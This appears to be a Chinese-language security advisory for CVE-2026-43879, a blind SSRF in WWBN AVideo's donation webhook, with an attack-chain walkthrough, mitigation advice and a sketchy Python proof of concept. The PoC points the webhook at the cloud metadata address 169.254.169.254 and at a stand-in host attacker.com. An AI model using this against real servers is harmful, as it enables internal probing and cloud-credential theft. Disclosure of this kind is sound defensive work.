IPBUF安全漏洞报告
English
CVE-2026-43879 CVSS 5.4 中危

CVE-2026-43879: WWBN AVideo 存在服务端请求伪造 (SSRF) 漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43879
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

SSRFWWBN AVideoServer-Side Request ForgeryBlind SSRFCVE-2026-43879Webhook

漏洞概述

WWBN AVideo 是一个开源视频平台。在 29.0 及其以下版本中,系统存在一个服务端请求伪造(SSRF)漏洞。已认证的用户可以配置其个人捐赠通知的 Webhook URL。由于系统仅对 URL 进行格式校验而未进行 SSRF 安全性检查,攻击者可以将该 URL 设置为指向内部网络地址(如 127.0.0.1 或元数据服务地址)。当任何用户触发捐赠操作时,服务器会向攻击者指定的内部地址发起 POST 请求,从而导致盲 SSRF 攻击。此外,由于启用了 CURLOPT_FOLLOWLOCATION,攻击者还可以利用 HTTP 307 重定向绕过初步限制,进一步扩大攻击面。

技术细节

该漏洞源于 AVideo 平台在处理用户自定义捐赠通知 Webhook URL 时的验证逻辑缺陷。在受影响版本中,系统仅使用 `isValidURL()` 函数对用户提交的 URL 进行格式检查,而未调用代码库中已有的 `isSSRFSafeURL()` 函数进行安全性校验。这使得经过身份验证的攻击者可以将 Webhook URL 指向内部回环地址(如 http://127.0.0.1:8080)、RFC1918 私有网络地址或云实例元数据服务(如 http://169.254.169.254/latest/)。

漏洞触发机制依赖于捐赠流程。当攻击者配置好恶意 URL 后,只需通过 `plugin/CustomizeUser/donate.json.php` 发起一笔捐赠(即使是微小金额),AVideo 服务器后端便会使用 cURL 向该 URL 发送 POST 请求。由于缺乏对目标主机的过滤,服务器成为了攻击者探测内网的代理。

此外,利用链中还存在一个增强利用方式。cURL 配置中启用了 `CURLOPT_FOLLOWLOCATION` 且未进行逐跳重新验证。攻击者可以先设置一个指向受控外部服务器的 URL,该服务器返回 HTTP 307 重定向响应,将请求指向内部敏感目标。这种重定向绕过方式使得攻击更加隐蔽且难以被基础的 URL 过滤机制拦截。该问题已在 commit aaacd48f29f1ff71d1eb5fc81d37605f593cefa9 中得到修复。

攻击链分析

STEP 1
1. 账户获取与认证
攻击者注册一个普通用户账户并登录 AVideo 平台。
STEP 2
2. 配置恶意 Webhook
攻击者访问个人设置中的捐赠通知配置,将 Webhook URL 设置为内网敏感地址(如 127.0.0.1 或元数据服务地址),或指向一个受控的外部重定向服务器。
STEP 3
3. 触发捐赠事件
攻击者自己或诱导其他用户进行一次捐赠操作。
STEP 4
4. 服务端请求伪造
AVideo 服务器在处理捐赠事件时,通过 cURL 向攻击者配置的 URL 发送 POST 请求。如果是直接内网地址,则直接扫描;如果是重定向地址,则跟随 307 跳转访问内网资源。
STEP 5
5. 信息泄露
攻击者根据服务器的响应时间或通过外部重定向服务器接收到的请求内容,获取内网服务信息或云平台凭证。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # This is a conceptual PoC for CVE-2026-43879 # It simulates the attacker setting a malicious webhook and triggering the donation. # Target configuration target_url = "http://localhost/avideo" # Replace with actual target attacker_controlled_server = "http://attacker.com/collect" internal_target = "http://169.254.169.254/latest/meta-data/" # Step 1: Authenticate and get session (Assumed credentials) session = requests.Session() login_payload = { "user": "attacker", "pass": "password", "rememberme": 0 } # login_resp = session.post(f"{target_url}/objects/userLogin.json.php", data=login_payload) # if login_resp.status_code != 200: # print("Login failed") # sys.exit(1) # Step 2: Configure the malicious donation webhook # The vulnerability allows setting the URL to internal hosts directly or via redirection webhook_config_url = f"{target_url}/plugin/CustomizeUser/donate.json.php" # In a real scenario, we need to find the exact endpoint to save the configuration. # Assuming an endpoint exists to update user preferences. payload = { "webhook": internal_target, # Direct internal hit # OR use redirection: "webhook": attacker_controlled_server (which 307 redirects to internal_target) } print(f"[+] Attempting to set webhook to: {internal_target}") # config_resp = session.post(webhook_config_url, data=payload) # Step 3: Trigger the donation to invoke the webhook # This causes the server to send a POST request to the webhook URL print("[+] Triggering donation to invoke SSRF...") # donate_resp = session.post(f"{target_url}/plugin/CustomizeUser/donate.json.php", data={"amount": 0.01}) print("[+] Check your internal server logs or attacker server for the request.")

影响范围

WWBN AVideo <= 29.0

防御指南

临时缓解措施
在未升级版本前,建议管理员暂时禁用捐赠插件中的 Webhook 通知功能。此外,应在应用服务器或网络防火墙层面实施出站流量过滤,禁止服务器主动访问 RFC1918 私有网段、回环地址及云元数据服务地址(169.254.169.254)。

参考链接